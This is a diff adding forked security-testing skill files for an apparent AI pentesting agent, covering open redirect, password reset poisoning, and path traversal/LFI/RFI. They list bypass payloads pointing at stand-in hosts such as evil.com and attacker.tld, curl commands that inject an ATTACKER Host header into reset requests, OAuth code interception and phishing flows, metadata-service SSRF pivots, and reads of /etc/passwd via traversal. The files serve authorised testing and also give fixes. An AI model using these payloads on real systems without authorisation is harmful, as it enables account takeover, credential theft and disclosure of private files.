- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: open-redirect
|
|
5
|
+
description: Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Open Redirect
|
|
9
|
+
|
|
10
|
+
Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Server-Driven Redirects**
|
|
15
|
+
- HTTP 3xx Location
|
|
16
|
+
|
|
17
|
+
**Client-Driven Redirects**
|
|
18
|
+
- `window.location`, meta refresh, SPA routers
|
|
19
|
+
|
|
20
|
+
**OAuth/OIDC/SAML Flows**
|
|
21
|
+
- `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `returnTo`/`continue`/`next`
|
|
22
|
+
|
|
23
|
+
**Multi-Hop Chains**
|
|
24
|
+
- Only first hop validated
|
|
25
|
+
|
|
26
|
+
## High-Value Targets
|
|
27
|
+
|
|
28
|
+
- Login/logout, password reset, SSO/OAuth flows
|
|
29
|
+
- Payment gateways, email links, invite/verification
|
|
30
|
+
- Unsubscribe, language/locale switches
|
|
31
|
+
- `/out` or `/r` redirectors
|
|
32
|
+
|
|
33
|
+
## Reconnaissance
|
|
34
|
+
|
|
35
|
+
### Injection Points
|
|
36
|
+
|
|
37
|
+
- Params: `redirect`, `url`, `next`, `return_to`, `returnUrl`, `continue`, `goto`, `target`, `callback`, `out`, `dest`, `back`, `to`, `r`, `u`
|
|
38
|
+
- OAuth/OIDC/SAML: `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `state`
|
|
39
|
+
- SPA: `router.push`/`replace`, `location.assign`/`href`, meta refresh, `window.open`
|
|
40
|
+
- Headers: `Host`, `X-Forwarded-Host`/`Proto`, `Referer`; server-side Location echo
|
|
41
|
+
|
|
42
|
+
### Parser Differentials
|
|
43
|
+
|
|
44
|
+
**Userinfo**
|
|
45
|
+
- `https://trusted.com@evil.com` → validators parse host as trusted.com, browser navigates to evil.com
|
|
46
|
+
- Variants: `trusted.com%40evil.com`, `a%40evil.com%40trusted.com`
|
|
47
|
+
|
|
48
|
+
**Backslash and Slashes**
|
|
49
|
+
- `https://trusted.com\evil.com`, `https://trusted.com\@evil.com`, `///evil.com`, `/\evil.com`
|
|
50
|
+
|
|
51
|
+
**Whitespace and Control**
|
|
52
|
+
- `http%09://evil.com`, `http%0A://evil.com`, `trusted.com%09evil.com`
|
|
53
|
+
|
|
54
|
+
**Fragment and Query**
|
|
55
|
+
- `trusted.com#@evil.com`, `trusted.com?//@evil.com`, `?next=//evil.com#@trusted.com`
|
|
56
|
+
|
|
57
|
+
**Unicode and IDNA**
|
|
58
|
+
- Punycode/IDN: `truѕted.com` (Cyrillic), `trusted.com。evil.com` (full-width dot), trailing dot
|
|
59
|
+
|
|
60
|
+
### Encoding Bypasses
|
|
61
|
+
|
|
62
|
+
- Double encoding: `%2f%2fevil.com`, `%252f%252fevil.com`
|
|
63
|
+
- Mixed case and scheme smuggling: `hTtPs://evil.com`, `http:evil.com`
|
|
64
|
+
- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 `[::ffff:127.0.0.1]`
|
|
65
|
+
- User-controlled path bases: `/out?url=/\evil.com`
|
|
66
|
+
|
|
67
|
+
## Key Vulnerabilities
|
|
68
|
+
|
|
69
|
+
### Allowlist Evasion
|
|
70
|
+
|
|
71
|
+
**Common Mistakes**
|
|
72
|
+
- Substring/regex contains checks: allows `trusted.com.evil.com`
|
|
73
|
+
- Wildcards: `*.trusted.com` also matches `attacker.trusted.com.evil.net`
|
|
74
|
+
- Missing scheme pinning: `data:`, `javascript:`, `file:`, `gopher:` accepted
|
|
75
|
+
- Case/IDN drift between validator and browser
|
|
76
|
+
|
|
77
|
+
**Robust Validation**
|
|
78
|
+
- Canonicalize with a single modern URL parser (WHATWG URL)
|
|
79
|
+
- Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
|
|
80
|
+
- Require absolute HTTPS; reject protocol-relative `//` and unknown schemes
|
|
81
|
+
|
|
82
|
+
### OAuth/OIDC/SAML
|
|
83
|
+
|
|
84
|
+
**Redirect URI Abuse**
|
|
85
|
+
- Using an open redirect on a trusted domain for redirect_uri enables code interception
|
|
86
|
+
- Weak prefix/suffix checks: `https://trusted.com` → `https://trusted.com.evil.com`
|
|
87
|
+
- Path traversal/canonicalization: `/oauth/../../@evil.com`
|
|
88
|
+
- `post_logout_redirect_uri` often less strictly validated
|
|
89
|
+
|
|
90
|
+
### Client-Side Vectors
|
|
91
|
+
|
|
92
|
+
**JavaScript Redirects**
|
|
93
|
+
- `location.href`/`assign`/`replace` using user input
|
|
94
|
+
- Meta refresh `content=0;url=USER_INPUT`
|
|
95
|
+
- SPA routers: `router.push(searchParams.get('next'))`
|
|
96
|
+
|
|
97
|
+
### Reverse Proxies and Gateways
|
|
98
|
+
|
|
99
|
+
- Host/X-Forwarded-* may change absolute URL construction
|
|
100
|
+
- CDNs that follow redirects for link checking can leak tokens when chained
|
|
101
|
+
|
|
102
|
+
### SSRF Chaining
|
|
103
|
+
|
|
104
|
+
- Server-side fetchers (web previewers, link unfurlers) follow 3xx
|
|
105
|
+
- Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost)
|
|
106
|
+
|
|
107
|
+
## Exploitation Scenarios
|
|
108
|
+
|
|
109
|
+
### OAuth Code Interception
|
|
110
|
+
|
|
111
|
+
1. Set redirect_uri to `https://trusted.example/out?url=https://attacker.tld/cb`
|
|
112
|
+
2. IdP sends code to trusted.example which redirects to attacker.tld
|
|
113
|
+
3. Exchange code for tokens; demonstrate account access
|
|
114
|
+
|
|
115
|
+
### Phishing Flow
|
|
116
|
+
|
|
117
|
+
1. Send link on trusted domain: `/login?next=https://attacker.tld/fake`
|
|
118
|
+
2. Victim authenticates; browser navigates to attacker page
|
|
119
|
+
3. Capture credentials/tokens via cloned UI
|
|
120
|
+
|
|
121
|
+
### Internal Evasion
|
|
122
|
+
|
|
123
|
+
1. Server-side link unfurler fetches `https://trusted.example/out?u=http://169.254.169.254/latest/meta-data`
|
|
124
|
+
2. Redirect follows to metadata; confirm via timing/headers
|
|
125
|
+
|
|
126
|
+
## Testing Methodology
|
|
127
|
+
|
|
128
|
+
1. **Inventory surfaces** - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links
|
|
129
|
+
2. **Build test matrix** - Scheme × host × path variants and encoding/unicode forms
|
|
130
|
+
3. **Compare behaviors** - Server-side validation vs browser navigation results
|
|
131
|
+
4. **Multi-hop testing** - Trusted-domain → redirector → external
|
|
132
|
+
5. **Prove impact** - Credential phishing, OAuth code interception, internal egress
|
|
133
|
+
|
|
134
|
+
## Validation
|
|
135
|
+
|
|
136
|
+
1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture
|
|
137
|
+
2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants
|
|
138
|
+
3. Test multi-hop: prove only first hop is validated and second hop escapes constraints
|
|
139
|
+
4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint
|
|
140
|
+
|
|
141
|
+
## False Positives
|
|
142
|
+
|
|
143
|
+
- Redirects constrained to relative same-origin paths with robust normalization
|
|
144
|
+
- Exact pre-registered OAuth redirect_uri with strict verifier
|
|
145
|
+
- Validators using a single canonical parser and comparing post-IDNA host and scheme
|
|
146
|
+
- User prompts that show the exact final destination before navigating
|
|
147
|
+
|
|
148
|
+
## Impact
|
|
149
|
+
|
|
150
|
+
- Credential and token theft via phishing and OAuth/OIDC interception
|
|
151
|
+
- Internal data exposure when server fetchers follow redirects
|
|
152
|
+
- Policy bypass where allowlists are enforced only on the first hop
|
|
153
|
+
- Cross-application trust erosion and brand abuse
|
|
154
|
+
|
|
155
|
+
## Pro Tips
|
|
156
|
+
|
|
157
|
+
1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses
|
|
158
|
+
2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early
|
|
159
|
+
3. In OAuth, prioritize `post_logout_redirect_uri` and less-discussed flows; they're often looser
|
|
160
|
+
4. Exercise multi-hop across distinct subdomains and paths
|
|
161
|
+
5. For SSRF chaining, target services known to follow redirects
|
|
162
|
+
6. Favor allowlists of exact origins plus optional path prefixes
|
|
163
|
+
7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go)
|
|
164
|
+
|
|
165
|
+
## Summary
|
|
166
|
+
|
|
167
|
+
Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Password Reset Poisoning
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
Password reset poisoning manipulates reset links (Host header, X-Forwarded-Host,
|
|
7
|
+
or redirect parameters) to deliver attacker-controlled URLs to victims.
|
|
8
|
+
|
|
9
|
+
## Phase 1: Identify Reset Flow
|
|
10
|
+
```bash
|
|
11
|
+
# Common endpoints: /reset, /forgot, /password/reset
|
|
12
|
+
# Capture the reset email/link format
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
## Phase 2: Host Header Injection
|
|
16
|
+
```bash
|
|
17
|
+
TARGET_URL="https://TARGET/forgot"
|
|
18
|
+
|
|
19
|
+
curl -s -X POST "$TARGET_URL" \
|
|
20
|
+
-H "Host: ATTACKER" \
|
|
21
|
+
-H "X-Forwarded-Host: ATTACKER" \
|
|
22
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
23
|
+
--data "email=victim@example.com" \
|
|
24
|
+
| tee /workspace/output/TARGET_reset_host_poison.txt
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
## Phase 3: Redirect Parameter Injection
|
|
28
|
+
```bash
|
|
29
|
+
# If reset flow supports redirect/callback parameters
|
|
30
|
+
curl -s -X POST "$TARGET_URL?redirect=https://ATTACKER" \
|
|
31
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
32
|
+
--data "email=victim@example.com" \
|
|
33
|
+
| tee /workspace/output/TARGET_reset_redirect_poison.txt
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## Phase 4: Validation
|
|
37
|
+
```bash
|
|
38
|
+
# Verify whether the reset email contains the injected host/redirect
|
|
39
|
+
# Confirm with a controlled test account
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
## Report Template
|
|
43
|
+
|
|
44
|
+
```
|
|
45
|
+
Target: TARGET
|
|
46
|
+
Assessment Date: <DATE>
|
|
47
|
+
|
|
48
|
+
## Confirmed Findings
|
|
49
|
+
- [ ] Reset link uses untrusted Host header
|
|
50
|
+
- [ ] Redirect parameter poisons reset link
|
|
51
|
+
|
|
52
|
+
## Evidence
|
|
53
|
+
- Host poisoning request: /workspace/output/TARGET_reset_host_poison.txt
|
|
54
|
+
- Redirect poisoning request: /workspace/output/TARGET_reset_redirect_poison.txt
|
|
55
|
+
|
|
56
|
+
## Recommendations
|
|
57
|
+
1. Use a fixed, server-side base URL for reset links
|
|
58
|
+
2. Reject untrusted Host/X-Forwarded-Host headers
|
|
59
|
+
3. Validate and allowlist redirect targets
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## Output Files
|
|
63
|
+
- `/workspace/output/TARGET_reset_host_poison.txt` — host poisoning request
|
|
64
|
+
- `/workspace/output/TARGET_reset_redirect_poison.txt` — redirect poisoning request
|
|
65
|
+
|
|
66
|
+
indicators: password reset poisoning, host header injection, reset link poisoning, reset redirect
|
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: path-traversal-lfi-rfi
|
|
5
|
+
description: Path traversal and file inclusion testing for local/remote file access and code execution
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Path Traversal / LFI / RFI
|
|
9
|
+
|
|
10
|
+
Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Path Traversal**
|
|
15
|
+
- Read files outside intended roots via `../`, encoding, normalization gaps
|
|
16
|
+
|
|
17
|
+
**Local File Inclusion (LFI)**
|
|
18
|
+
- Include server-side files into interpreters/templates
|
|
19
|
+
|
|
20
|
+
**Remote File Inclusion (RFI)**
|
|
21
|
+
- Include remote resources (HTTP/FTP/wrappers) for code execution
|
|
22
|
+
|
|
23
|
+
**Archive Extraction**
|
|
24
|
+
- Zip Slip: write outside target directory upon unzip/untar
|
|
25
|
+
|
|
26
|
+
**Normalization Mismatches**
|
|
27
|
+
- Server/proxy differences (nginx alias/root, upstream decoders)
|
|
28
|
+
- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
|
|
29
|
+
|
|
30
|
+
## High-Value Targets
|
|
31
|
+
|
|
32
|
+
**Unix**
|
|
33
|
+
- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml`
|
|
34
|
+
- SSH keys, cloud creds, service configs/logs
|
|
35
|
+
|
|
36
|
+
**Windows**
|
|
37
|
+
- `C:\Windows\win.ini`, IIS/web.config, programdata configs, application logs
|
|
38
|
+
|
|
39
|
+
**Application**
|
|
40
|
+
- Source code templates and server-side includes
|
|
41
|
+
- Secrets in env dumps, framework caches
|
|
42
|
+
|
|
43
|
+
## Reconnaissance
|
|
44
|
+
|
|
45
|
+
### Surface Map
|
|
46
|
+
|
|
47
|
+
- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang`
|
|
48
|
+
- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
|
|
49
|
+
- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
|
|
50
|
+
- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
|
|
51
|
+
- Reverse proxies and static file servers (nginx, CDN) in front of app handlers
|
|
52
|
+
|
|
53
|
+
### Capability Probes
|
|
54
|
+
|
|
55
|
+
- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
|
|
56
|
+
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes
|
|
57
|
+
- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
|
|
58
|
+
- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
|
|
59
|
+
- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
|
|
60
|
+
|
|
61
|
+
## Detection Channels
|
|
62
|
+
|
|
63
|
+
### Direct
|
|
64
|
+
|
|
65
|
+
- Response body discloses file content (text, binary, base64)
|
|
66
|
+
- Error pages echo real paths
|
|
67
|
+
|
|
68
|
+
### Error-Based
|
|
69
|
+
|
|
70
|
+
- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations
|
|
71
|
+
|
|
72
|
+
### OAST
|
|
73
|
+
|
|
74
|
+
- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
|
|
75
|
+
|
|
76
|
+
### Side Effects
|
|
77
|
+
|
|
78
|
+
- Archive extraction writes files unexpectedly outside target
|
|
79
|
+
- Verify with directory listings or follow-up reads
|
|
80
|
+
|
|
81
|
+
## Key Vulnerabilities
|
|
82
|
+
|
|
83
|
+
### Path Traversal Bypasses
|
|
84
|
+
|
|
85
|
+
**Encodings**
|
|
86
|
+
- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
|
|
87
|
+
|
|
88
|
+
**Mixed Separators**
|
|
89
|
+
- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
|
|
90
|
+
|
|
91
|
+
**Dot Tricks**
|
|
92
|
+
- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
|
|
93
|
+
|
|
94
|
+
**Absolute Path Injection**
|
|
95
|
+
- Bypass joins by supplying a rooted path
|
|
96
|
+
|
|
97
|
+
**Alias/Root Mismatch**
|
|
98
|
+
- nginx alias without trailing slash with nested location allows `../` to escape
|
|
99
|
+
- Try `/static/../etc/passwd` and ";" variants (`..;`)
|
|
100
|
+
|
|
101
|
+
**Upstream vs Backend Decoding**
|
|
102
|
+
- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots
|
|
103
|
+
|
|
104
|
+
### LFI Wrappers and Techniques
|
|
105
|
+
|
|
106
|
+
**PHP Wrappers**
|
|
107
|
+
- `php://filter/convert.base64-encode/resource=index.php` (read source)
|
|
108
|
+
- `zip://archive.zip#file.txt`
|
|
109
|
+
- `data://text/plain;base64`
|
|
110
|
+
- `expect://` (if enabled)
|
|
111
|
+
|
|
112
|
+
**Log/Session Poisoning**
|
|
113
|
+
- Inject PHP/templating payloads into access/error logs or session files then include them
|
|
114
|
+
|
|
115
|
+
**Upload Temp Names**
|
|
116
|
+
- Include temporary upload files before relocation; race with scanners
|
|
117
|
+
|
|
118
|
+
**Proc and Caches**
|
|
119
|
+
- `/proc/self/environ` and framework-specific caches for readable secrets
|
|
120
|
+
|
|
121
|
+
**Legacy Tricks**
|
|
122
|
+
- Null-byte (`%00`) truncation in older stacks; path length truncation
|
|
123
|
+
|
|
124
|
+
### Template Engines
|
|
125
|
+
|
|
126
|
+
- PHP include/require; Smarty/Twig/Blade with dynamic template names
|
|
127
|
+
- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
|
|
128
|
+
- Seek dynamic template resolution from user input (theme/lang/template)
|
|
129
|
+
|
|
130
|
+
### RFI Conditions
|
|
131
|
+
|
|
132
|
+
**Requirements**
|
|
133
|
+
- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP)
|
|
134
|
+
- Custom fetchers that eval/execute retrieved content
|
|
135
|
+
- SSRF-to-exec bridges
|
|
136
|
+
|
|
137
|
+
**Protocol Handlers**
|
|
138
|
+
- http, https, ftp; language-specific stream handlers
|
|
139
|
+
|
|
140
|
+
**Exploitation**
|
|
141
|
+
- Host a minimal payload that proves code execution
|
|
142
|
+
- Prefer OAST beacons or deterministic output over heavy shells
|
|
143
|
+
- Chain with upload or log poisoning when remote includes are disabled
|
|
144
|
+
|
|
145
|
+
### Archive Extraction (Zip Slip)
|
|
146
|
+
|
|
147
|
+
- Files within archives containing `../` or absolute paths escape target extract directory
|
|
148
|
+
- Test multiple formats: zip/tar/tgz/7z
|
|
149
|
+
- Verify symlink handling and path canonicalization prior to write
|
|
150
|
+
- Impact: overwrite config/templates or drop webshells into served directories
|
|
151
|
+
|
|
152
|
+
## Testing Methodology
|
|
153
|
+
|
|
154
|
+
1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
|
|
155
|
+
2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
|
|
156
|
+
3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
|
|
157
|
+
4. **Compare behaviors** - Web server vs application behavior
|
|
158
|
+
5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)
|
|
159
|
+
|
|
160
|
+
## Validation
|
|
161
|
+
|
|
162
|
+
1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control
|
|
163
|
+
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
|
|
164
|
+
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
|
|
165
|
+
4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
|
|
166
|
+
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
|
|
167
|
+
|
|
168
|
+
## False Positives
|
|
169
|
+
|
|
170
|
+
- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
|
|
171
|
+
- Canonicalized paths constrained to an allowlist/root after normalization
|
|
172
|
+
- Wrappers disabled and includes using constant templates only
|
|
173
|
+
- Archive extractors that sanitize paths and enforce destination directories
|
|
174
|
+
|
|
175
|
+
## Impact
|
|
176
|
+
|
|
177
|
+
- Sensitive configuration/source disclosure → credential and key compromise
|
|
178
|
+
- Code execution via inclusion of attacker-controlled content or overwritten templates
|
|
179
|
+
- Persistence via dropped files in served directories; lateral movement via revealed secrets
|
|
180
|
+
- Supply-chain impact when report/template engines execute attacker-influenced files
|
|
181
|
+
|
|
182
|
+
## Pro Tips
|
|
183
|
+
|
|
184
|
+
1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise
|
|
185
|
+
2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings
|
|
186
|
+
3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
|
|
187
|
+
4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
|
|
188
|
+
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
|
|
189
|
+
|
|
190
|
+
## Summary
|
|
191
|
+
|
|
192
|
+
Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.
|